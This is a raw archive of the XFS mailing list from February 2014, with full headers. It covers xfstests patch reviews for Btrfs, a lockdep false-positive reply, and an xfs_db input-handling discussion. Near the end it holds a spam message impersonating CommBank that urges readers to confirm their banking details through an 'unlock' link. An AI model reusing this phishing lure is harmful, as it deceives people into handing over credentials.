(version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 08 Feb 2014 00:30:56 -0800 (PST) X-Barracuda-Envelope-From: koen.de.wit@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s188Utwq022983 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 8 Feb 2014 08:30:55 GMT Received: from aserz7021.oracle.com (aserz7021.oracle.com [141.146.126.230]) by ucsinet22.oracle.com (8.14.5+Sun/8.14.5) with ESMTP id s188UsFQ002207 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 8 Feb 2014 08:30:55 GMT Received: from abhmp0005.oracle.com (abhmp0005.oracle.com [141.146.116.11]) by aserz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id s188UsjI012055; Sat, 8 Feb 2014 08:30:54 GMT Received: from [192.168.0.163] (/178.116.134.76) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Sat, 08 Feb 2014 00:30:54 -0800 Message-ID: <52F5EB3B.5030902@oracle.com> Date: Sat, 08 Feb 2014 09:30:51 +0100 From: Koen De Wit Organization: Oracle Corporation User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH] xfstests: Btrfs: add test for large metadata blocks References: <1391793285-935-1-git-send-email-koen.de.wit@oracle.com> <20140207224934.GH13647@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfstests: Btrfs: add test for large metadata blocks In-Reply-To: <20140207224934.GH13647@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1391848256 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144936 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Thanks for the review, Dave! Comments inline. On 02/07/2014 11:49 PM, Dave Chinner wrote: > On Fri, Feb 07, 2014 at 06:14:45PM +0100, Koen De Wit wrote: >> Tests Btrfs filesystems with all possible metadata block sizes, by >> setting large extended attributes on files. >> >> Signed-off-by: Koen De Wit > There's a few things here that need fixing. > >> +pagesize=`$here/src/feature -s` >> +pagesize_kb=`expr $pagesize / 1024` >> + >> +# Test all valid leafsizes >> +for leafsize in `seq $pagesize_kb $pagesize_kb 64`; do >> + _scratch_unmount >/dev/null 2>&1 > Indentation are tabs, and tabs are 8 spaces in size, please. OK, I fixed this in v2. >> + _scratch_mkfs -l ${leafsize}K >/dev/null >> + _scratch_mount > No need to use _scratch_unmount here - you should be doing a > _check_scratch_fs at the end of the loop. Fixed in v2 too. >> + # Calculate the xattr size, but leave 512 bytes for other metadata. >> + xattr_size=`expr $leafsize \* 1024 - 512` >> + >> + touch $SCRATCH_MNT/emptyfile >> + # smallfile will be inlined, bigfile not. >> + $XFS_IO_PROG -f -c "pwrite 0 100" $SCRATCH_MNT/smallfile >/dev/null >> + $XFS_IO_PROG -f -c "pwrite 0 9000" $SCRATCH_MNT/bigfile >/dev/null >> + ln -s $SCRATCH_MNT/bigfile $SCRATCH_MNT/bigfile_softlink >> + >> + files=(emptyfile smallfile bigfile bigfile_softlink) >> + chars=(a b c d) >> + for i in `seq 0 1 3`; do >> + char=${chars[$i]} >> + file=$SCRATCH_MNT/${files[$i]} >> + lnkfile=${file}_hardlink >> + ln $file $lnkfile >> + xattr_value=`head -c $xattr_size < /dev/zero | tr '\0' $char` >> + >> + set_md5=`echo -n "$xattr_value" | md5sum` > Just dump the md5sum to the output file. > >> + ${ATTR_PROG} -Lq -s attr_$char -V $xattr_value $file >> + get_md5=`${ATTR_PROG} -Lq -g attr_$char $file | md5sum` >> + get_ln_md5=`${ATTR_PROG} -Lq -g attr_$char $lnkfile | md5sum` > And dump these to the output file, too. Then the golden image > matching when the test is finish will tell you if it passed or not. > i.e: > > echo -n "$xattr_value" | md5sum > ${ATTR_PROG} -Lq -s attr_$char -V $xattr_value $file > ${ATTR_PROG} -Lq -g attr_$char $file | md5sum > ${ATTR_PROG} -Lq -g attr_$char $lnkfile | md5sum > > is all that neds to be done here. The problem with this is that the length of the output will depend on the page size. The code above runs for every valid leafsize, which can be any multiple of the page size up to 64KB, as defined in the loop initialization: for leafsize in `seq $pagesize_kb $pagesize_kb 64`; do >> + # Test attributes with a size larger than the leafsize. >> + # Should result in an error. >> + if [ "$leafsize" -lt "64" ]; then >> + # Bash command lines cannot be larger than 64K characters, so we >> + # do not test attribute values with a size >64KB. >> + xattr_size=`expr $leafsize \* 1024 + 512` >> + xattr_value=`head -c $xattr_size < /dev/zero | tr '\0' x` >> + ${ATTR_PROG} -q -s attr_toobig -V $xattr_value \ >> + $SCRATCH_MNT/emptyfile >> $seqres.full 2>&1 >> + if [ "$?" -eq "0" ]; then >> + echo "Expected error, xattr_size is bigger than ${leafsize}K" >> + fi > What you are doing is redirecting the error to $seqres.full > so that it doesn't end up in the output file, then detecting the > absence of an error and dumping a message to the output file to make > the test fail. > > IOWs, the ATTR_PROG failure message should be in the golden output > file and you don't have to do anything else to detect a pass/fail > condition. Same here: the bigger the page size, the less this code will be executed. If the page size is 64KB, this code isn't executed at all. To make sure the golden output does not depend on the page size, I chose to suppress all output as long as the test is successful. Is there a better way to accomplish this? >> +_scratch_unmount >> + >> +# Some illegal leafsizes >> + >> +_scratch_mkfs -l 0 2>> $seqres.full >> +echo $? > Same again - you are dumping the error output into a different file, > then detecting the error manually. pass the output of _scratch_mkfs > through a filter, and let errors cause golden output mismatches. I did this to make the golden output not depend on the output of mkfs.btrfs, inspired by http://oss.sgi.com/cgi-bin/gitweb.cgi?p=xfs/cmds/xfstests.git;a=commit;h=fd7a8e885732475c17488e28b569ac1530c8eb59 and http://oss.sgi.com/cgi-bin/gitweb.cgi?p=xfs/cmds/xfstests.git;a=commit;h=78d86b996c9c431542fdbac11fa08764b16ceb7d However, in my opinion the test should simply be updated if the output of mkfs.btrfs changes, so I agree with you and I fixed this in v2. Thanks, Koen. From david@fromorbit.com Sat Feb 8 02:32:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 229947F3F for ; Sat, 8 Feb 2014 02:32:41 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id DBD058F8052 for ; Sat, 8 Feb 2014 00:32:40 -0800 (PST) X-ASG-Debug-ID: 1391848358-04bdf0121f1cdc70001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 0BTta5XAjyLpTCCL for ; Sat, 08 Feb 2014 00:32:39 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApcHABHr9VJ5LGaB/2dsb2JhbABZgwyDPrcyhV+BCBd0giUBAQUnExwjEAgDGAklDwUlAyETiATMTBcWjmcHhDgEmCqSIoNBKIEuJA Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail04.adl6.internode.on.net with ESMTP; 08 Feb 2014 19:02:38 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WC3L1-0004to-1A; Sat, 08 Feb 2014 19:32:35 +1100 Date: Sat, 8 Feb 2014 19:32:35 +1100 From: Dave Chinner To: Cody P Schafer Cc: xfs@oss.sgi.com Subject: Re: lockdep warning in 3.14-rc1 Message-ID: <20140208083234.GJ13647@dastard> X-ASG-Orig-Subj: Re: lockdep warning in 3.14-rc1 References: <52F57E6C.10907@linux.vnet.ibm.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52F57E6C.10907@linux.vnet.ibm.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1391848358 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144936 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Feb 07, 2014 at 04:46:36PM -0800, Cody P Schafer wrote: > Appears consistently during boot up. .... > [ 2.080292] CPU0 CPU1 > [ 2.080295] ---- ---- > [ 2.080298] lock(&(&ip->i_lock)->mr_lock); > [ 2.080303] lock(&mm->mmap_sem); > [ 2.080307] lock(&(&ip->i_lock)->mr_lock); > [ 2.080312] lock(&mm->mmap_sem); > [ 2.080316] > *** DEADLOCK *** > > [ 2.080321] 2 locks held by systemd/1: > [ 2.080323] #0: (&type->i_mutex_dir_key#2){+.+.+.}, at: [] .iterate_dir+0xa0/0x160 > [ 2.080334] #1: (&(&ip->i_lock)->mr_lock){++++..}, at: [] .xfs_ilock+0x15c/0x1b0 > [ 2.080343] > stack backtrace: > [ 2.080348] CPU: 2 PID: 1 Comm: systemd Tainted: G W 3.14.0-rc1-24x7+ #8 > [ 2.080353] Call Trace: > [ 2.080357] [c0000001fa103370] [c000000000016590] .show_stack+0x170/0x290 (unreliable) > [ 2.080364] [c0000001fa103460] [c000000000934f5c] .dump_stack+0xa0/0xdc > [ 2.080370] [c0000001fa1034e0] [c00000000092b6b4] .print_circular_bug+0x364/0x39c > [ 2.080376] [c0000001fa103590] [c00000000010ba70] .check_prev_add+0x8d0/0x8e0 > [ 2.080381] [c0000001fa1036a0] [c00000000010c364] .validate_chain.isra.31+0x8e4/0xc40 > [ 2.080386] [c0000001fa103790] [c00000000010de08] .__lock_acquire+0x488/0xd40 > [ 2.080391] [c0000001fa1038b0] [c00000000010f08c] .lock_acquire+0xac/0x190 > [ 2.080397] [c0000001fa103980] [c00000000021fe44] .might_fault+0xa4/0xe0 > [ 2.080402] [c0000001fa1039f0] [c000000000297924] .filldir+0x1f4/0x290 > [ 2.080407] [c0000001fa103ab0] [c0000000003cebc8] .xfs_dir2_block_getdents+0x218/0x2b0 > [ 2.080413] [c0000001fa103b80] [c0000000003cf1e8] .xfs_readdir+0x168/0x1d0 > [ 2.080418] [c0000001fa103c30] [c0000000003d2508] .xfs_file_readdir+0x48/0x80 > [ 2.080423] [c0000001fa103cc0] [c0000000002974ec] .iterate_dir+0x11c/0x160 > [ 2.080428] [c0000001fa103d60] [c000000000297df0] .SyS_getdents+0xa0/0x190 > [ 2.080433] [c0000001fa103e30] [c00000000000a164] syscall_exit+0x0/0x98 False positive. We need to add new lockdep annotations because lockdep doesn't know the difference between directory locking and file IO path locking. Ben, can you look at this? It is being caused by the addition of the iolock to the directory readdir code, so directory inodes need a different lockdep context to regular file inodes... Cheers, Dave. -- Dave Chinner david@fromorbit.com From fdmanana@gmail.com Sat Feb 8 09:50:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2BC307F3F for ; Sat, 8 Feb 2014 09:50:41 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 00DDC304032 for ; Sat, 8 Feb 2014 07:50:37 -0800 (PST) X-ASG-Debug-ID: 1391874631-04bdf012201dad10001-NocioJ Received: from mail-we0-f169.google.com (mail-we0-f169.google.com [74.125.82.169]) by cuda.sgi.com with ESMTP id 2OlvPGuHcd43S1Mg (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 08 Feb 2014 07:50:32 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.169 Received: by mail-we0-f169.google.com with SMTP id t61so3149313wes.0 for ; Sat, 08 Feb 2014 07:50:31 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=wsYgTUqw9cPWErxx9Jy5JDk7TxfBb5t9vi4uZZA9wLY=; b=xDYbhgQiGl5az/ZEfiglybf8xN622A5ZCe+PpkFPeTJXCFvHRVPVL0Svdh8bidNuq7 X8LA2unhLlCZYtmqQKdISVdqWXp8vb5Rh2cIcqa0qg0dgQgVrJHhYTAGwhV1ta4W+utI jC3mkUNGYG2dsnoibqoKdszCP6CUZ8VIcziEB76YlgiiEMZ+ayaPOr8kk2Bqt4nf+urc MvYqR2vpeAO7ROn5rq2mb6WEdH+86E/reemaadDmbgRni/BqvnNuipUZ/Hy4Mbh/OImd NW1IbJsjTkhTCWy0JBgBQmE1d2mYKek5O3095Slwk2ZL4BWdm3S0tPHuCeZzfc+hpYBZ pNmw== X-Received: by 10.194.57.239 with SMTP id l15mr14998660wjq.40.1391874631300; Sat, 08 Feb 2014 07:50:31 -0800 (PST) Received: from storm-desktop.lan (bl14-136-199.dsl.telepac.pt. [85.247.136.199]) by mx.google.com with ESMTPSA id y13sm19509157wjr.8.2014.02.08.07.50.29 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 08 Feb 2014 07:50:30 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, jbacik@fb.com, clm@fb.com, Filipe David Borba Manana Subject: [PATCH] xfstests: add test for btrfs data corruption when using compression Date: Sat, 8 Feb 2014 15:50:09 +0000 X-ASG-Orig-Subj: [PATCH] xfstests: add test for btrfs data corruption when using compression Message-Id: <1391874609-19721-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-we0-f169.google.com[74.125.82.169] X-Barracuda-Start-Time: 1391874632 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144944 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Test for a btrfs data corruption when using compressed files/extents. Under certain cases, it was possible for reads to return random data (content from a previously used page) instead of zeroes. This also caused partial updates to those regions that were supposed to be filled with zeroes to save random (and invalid) data into the file extents. This is fixed by the commit for the linux kernel titled: Btrfs: fix data corruption when reading/updating compressed extents (https://patchwork.kernel.org/patch/3610391/) Signed-off-by: Filipe David Borba Manana --- tests/btrfs/036 | 111 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/036.out | 1 + tests/btrfs/group | 1 + 3 files changed, 113 insertions(+) create mode 100755 tests/btrfs/036 create mode 100644 tests/btrfs/036.out diff --git a/tests/btrfs/036 b/tests/btrfs/036 new file mode 100755 index 0000000..533b6ee --- /dev/null +++ b/tests/btrfs/036 @@ -0,0 +1,111 @@ +#! /bin/bash +# FS QA Test No. btrfs/036 +# +# Test for a btrfs data corruption when using compressed files/extents. +# Under certain cases, it was possible for reads to return random data +# (content from a previously used page) instead of zeroes. This also +# caused partial updates to those regions that were supposed to be filled +# with zeroes to save random (and invalid) data into the file extents. +# +# This is fixed by the commit for the linux kernel titled: +# +# Btrfs: fix data corruption when reading/updating compressed extents +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +tmp=`mktemp -d` + +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount "-o compress-force=lzo" + +run_check $XFS_IO_PROG -f -c "pwrite -S 0x06 -b 18670 266978 18670" \ + $SCRATCH_MNT/foobar +run_check $XFS_IO_PROG -c "falloc 26450 665194" $SCRATCH_MNT/foobar +run_check $XFS_IO_PROG -c "truncate 542872" $SCRATCH_MNT/foobar +run_check $XFS_IO_PROG -c "fsync" $SCRATCH_MNT/foobar + +# Expected file items in the fs tree are (from btrfs-debug-tree): +# +# item 4 key (257 INODE_ITEM 0) itemoff 15879 itemsize 160 +# inode generation 6 transid 6 size 542872 block group 0 mode 100600 +# item 5 key (257 INODE_REF 256) itemoff 15863 itemsize 16 +# inode ref index 2 namelen 6 name: foobar +# item 6 key (257 EXTENT_DATA 0) itemoff 15810 itemsize 53 +# extent data disk byte 0 nr 0 gen 6 +# extent data offset 0 nr 24576 ram 266240 +# extent compression 0 +# item 7 key (257 EXTENT_DATA 24576) itemoff 15757 itemsize 53 +# prealloc data disk byte 12849152 nr 241664 gen 6 +# prealloc data offset 0 nr 241664 +# item 8 key (257 EXTENT_DATA 266240) itemoff 15704 itemsize 53 +# extent data disk byte 12845056 nr 4096 gen 6 +# extent data offset 0 nr 20480 ram 20480 +# extent compression 2 +# item 9 key (257 EXTENT_DATA 286720) itemoff 15651 itemsize 53 +# prealloc data disk byte 13090816 nr 405504 gen 6 +# prealloc data offset 0 nr 258048 +# +# The on disk extent at 266240, contains 5 compressed chunks of file data. +# Each of the first 4 chunks compress 4096 bytes of file data, while the last +# one compresses only 3024 bytes of file data. Because this extent item is not +# the last one in the file, as it followed by a prealloc extent, reads into +# the region [285648 ; 286720[ (length = 4096 - 3024) should return zeroes. + +_scratch_unmount +_check_btrfs_filesystem $SCRATCH_DEV + +EXPECTED_MD5="b8b0dbb8e02f94123c741c23659a1c0a" + +for i in `seq 1 27` +do + _scratch_mount "-o ro" + MD5=`md5sum $SCRATCH_MNT/foobar | cut -f 1 -d ' '` + _scratch_unmount + if [ "${MD5}x" != "${EXPECTED_MD5}x" ] + then + echo "Unexpected file digest (wanted $EXPECTED_MD5, got $MD5)" + fi +done + +status=0 +exit diff --git a/tests/btrfs/036.out b/tests/btrfs/036.out new file mode 100644 index 0000000..8a5bd23 --- /dev/null +++ b/tests/btrfs/036.out @@ -0,0 +1 @@ +QA output created by 036 diff --git a/tests/btrfs/group b/tests/btrfs/group index f9f062f..2ca2225 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -37,3 +37,4 @@ 032 auto quick 033 auto quick 034 auto quick +036 auto quick -- 1.7.9.5 From tinguely@sgi.com Sat Feb 8 11:30:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 4043B7F3F for ; Sat, 8 Feb 2014 11:30:54 -0600 (CST) Received: from eagdhcp-232-208.americas.sgi.com (eagdhcp-232-208.americas.sgi.com [128.162.232.208]) by relay1.corp.sgi.com (Postfix) with ESMTP id 107AA8F804B; Sat, 8 Feb 2014 09:30:47 -0800 (PST) Message-ID: <52F669CA.7050000@sgi.com> Date: Sat, 08 Feb 2014 11:30:50 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH] xfs_db: fix the setting of unaligned directory fields References: <20140207210348.249387765@sgi.com> <20140207223327.GG13647@dastard> <52F56891.5020305@sgi.com> <20140208083012.GI13647@dastard> In-Reply-To: <20140208083012.GI13647@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 02/08/14 02:30, Dave Chinner wrote: > On Fri, Feb 07, 2014 at 05:13:21PM -0600, Mark Tinguely wrote: >> On 02/07/14 16:33, Dave Chinner wrote: >>> On Fri, Feb 07, 2014 at 04:03:42PM -0600, Mark Tinguely wrote: >>>> @@ -526,16 +527,20 @@ convert_arg( >>>> */ >>>> *value = strtoll(arg, NULL, 0); >>> >>> If we are touching this code, the return value here should be error >>> checked. >>> >>> xfs_db> write u3.bmx[0].startblock 3rgfdw >>> u3.bmx[0].startblock = 52776558133248 >> >> hmm, It should stop at 3. I will take a look. > > Even if it stops at 3, that's still wrong because it's failed to > process the entire user input.... > >>> xfs_db> write u3.bmx[0].startblock x3rgfdw >>> u3.bmx[0].startblock = 0 >>> xfs_db> >>> >>> i.e. it accepts garbage rather than erroring out. >> >> as does all the other writes ... >> xfs_db> write core.nblocks x3rgfdw >> core.nblocks = 0 >> >> Fixing convert_arg() is beyond the scope of just this patch. > > Sure, but I'm not asking you to fix all of convert_args in this > patch, just asking you to do a complete job of fixing the bitval > input processing in this patch. > > But, seeing as you've raised that convert_args() has other broken > paths, can you also write new patches to address those issues? It > won't take you long while all this code is fresh in your mind, and > if you do it now it won't get dropped on the floor until somebody > else hits it a couple of years down the track... > It needs to be split up. write_string() needs string inputs, write_struct() need numeric inputs. Who uses the UUID-style hex blocks? It feels like a black hole of time. It goes on my 'off the clock' to do list. --Mark. --Mark. From wpre@cwh8.canadianwebhosting.com Sun Feb 9 16:02:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_EXTRA_CLOSE,HTML_MESSAGE, HTML_MIME_NO_HTML_TAG,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 974027F3F for ; Sun, 9 Feb 2014 16:02:24 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7D9CC8F8035 for ; Sun, 9 Feb 2014 14:02:24 -0800 (PST) X-ASG-Debug-ID: 1391983336-04cb6c6de2225d70001-NocioJ Received: from barmail4.idig.net (barmail4.idig.net [64.34.111.253]) by cuda.sgi.com with ESMTP id InNWX09WWUrYp5M1 for ; Sun, 09 Feb 2014 14:02:17 -0800 (PST) X-Barracuda-Envelope-From: wpre@cwh8.canadianwebhosting.com X-Barracuda-Apparent-Source-IP: 64.34.111.253 Received: from cwh8.canadianwebhosting.com (cwh8.canadianwebhosting.com [76.74.229.4]) by barmail4.idig.net with ESMTP id B0AErRDPthFeYECt for ; Sun, 09 Feb 2014 14:02:15 -0800 (PST) Received: from wpre by cwh8.canadianwebhosting.com with local (Exim 4.80.1) (envelope-from ) id 1WCbTb-0007fh-1k for xfs@oss.sgi.com; Sun, 09 Feb 2014 12:59:43 -0800 To: xfs@oss.sgi.com Subject: Your online facility has been locked X-PHP-Script: www.mark-it-media.com/images/stories/que.php for 41.203.69.2 X-ASG-Orig-Subj: Your online facility has been locked From: Reply-To: MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit Message-Id: Date: Sun, 09 Feb 2014 12:59:43 -0800 X-Barracuda-Connect: barmail4.idig.net[64.34.111.253] X-Barracuda-Start-Time: 1391983337 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.14 X-Barracuda-Spam-Status: No, SCORE=2.14 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_EXTRA_CLOSE, HTML_MESSAGE, HTML_MIME_NO_HTML_TAG, MIME_HTML_ONLY, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144975 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 1.09 HTML_EXTRA_CLOSE BODY: HTML contains far too many close tags 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 1.05 HTML_MIME_NO_HTML_TAG HTML-only message, but there is no HTML tag

CommBank Customer,

We have recently upgrade our internet banking system. You will need to confirm your online data.

To ensure that your online service is always available for your use,

please confirm your details exactly as it was previously on internet,

by clicking the link below :

UNLOCK YOUR ACCESS

Online Team

© CommBank 2014

From ds112@oefa.gob.pe Sun Feb 9 16:10:48 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id EAEA57F3F for ; Sun, 9 Feb 2014 16:10:48 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id BF9E08F8037 for ; Sun, 9 Feb 2014 14:10:48 -0800 (PST) X-ASG-Debug-ID: 1391983846-04cb6c6de1226400001-NocioJ Received: from mail.oefa.gob.pe (mail.oefa.gob.pe [190.116.34.227]) by cuda.sgi.com with ESMTP id QGn4yHaH2UlT0FRn for ; Sun, 09 Feb 2014 14:10:46 -0800 (PST) X-Barracuda-Envelope-From: ds112@oefa.gob.pe X-Barracuda-Apparent-Source-IP: 190.116.34.227 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.oefa.gob.pe (Postfix) with ESMTP id 19C4B5FBC4CE; Sun, 9 Feb 2014 17:08:15 -0500 (PET) Received: from mail.oefa.gob.pe ([127.0.0.1]) by localhost (mail.oefa.gob.pe [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 1LSfRFcrASu9; Sun, 9 Feb 2014 17:08:14 -0500 (PET) Received: from [10.181.14.214] (unknown [41.203.69.5]) by mail.oefa.gob.pe (Postfix) with ESMTPSA id 931BC5FBC53A; Sun, 9 Feb 2014 17:07:26 -0500 (PET) Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Subject: =?utf-8?b?VsOhxb5lbsO9IHXFvml2YXRlbGkg?= To: Recipients X-ASG-Orig-Subj: =?utf-8?b?VsOhxb5lbsO9IHXFvml2YXRlbGkg?= From: =?utf-8?b?c3Byw6F2Y2Ugc3lzdMOpbXU8ZHMxMTJAb2VmYS5nb2IucGU+?=@mail.oefa.gob.pe Date: Sun, 09 Feb 2014 23:07:04 +0100 Reply-To: 647812717@qq.com Message-Id: <20140209220727.931BC5FBC53A@mail.oefa.gob.pe> X-OEFA-MailScanner-Information: Please contact the ISP for more information X-OEFA-MailScanner-ID: 931BC5FBC53A.A03A5 X-OEFA-MailScanner: Found to be clean X-OEFA-MailScanner-SpamCheck: no es spam (whitelisted), SpamAssassin (almacenado, puntaje=-1, requerido 6, ALL_TRUSTED -1.00) X-OEFA-MailScanner-From: ds112@oefa.gob.pe X-Barracuda-Connect: 